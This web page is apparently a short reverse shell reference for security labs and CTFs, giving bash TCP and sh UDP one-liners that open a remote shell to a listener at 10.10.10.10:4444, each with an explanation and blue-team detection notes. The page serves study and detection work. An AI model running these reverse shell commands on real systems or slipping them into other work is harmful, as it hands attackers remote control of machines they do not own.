Skip to content
IT_TOOLS_

/Reverse Shell Reference

Reference and study common shell techniques used in authorized security labs and CTFs.

Local processing

This tool processes your input in your browser.

Command Palette

Search for a command to run...

Authorized Use Only: This reference is for study, defense, and authorized penetration testing. Pay special attention to the Detection Notes to understand how Blue Teams hunt for these indicators.

Bash TCP Reverse Shell

bash -i >& /dev/tcp/10.10.10.10/4444 0>&1

How it works

Creates an interactive bash shell and redirects standard input, output, and error to a TCP socket connected to the listener.

Requirements

Requires bash to be compiled with /dev/tcp support (default on most modern Linux distros).

Blue Team / Detection

Look for 'bash -i' in process command lines, anomalous outbound connections to non-standard ports from web servers, or '/dev/tcp' in shell history.

Bash UDP Reverse Shell

sh -i >& /dev/udp/10.10.10.10/4444 0>&1

How it works

Similar to TCP, but uses UDP. Requires a UDP listener (e.g., nc -u -lvp PORT).

Requirements

Requires bash compiled with /dev/udp support.

Blue Team / Detection

Look for '/dev/udp' in command lines and anomalous UDP traffic leaving the server.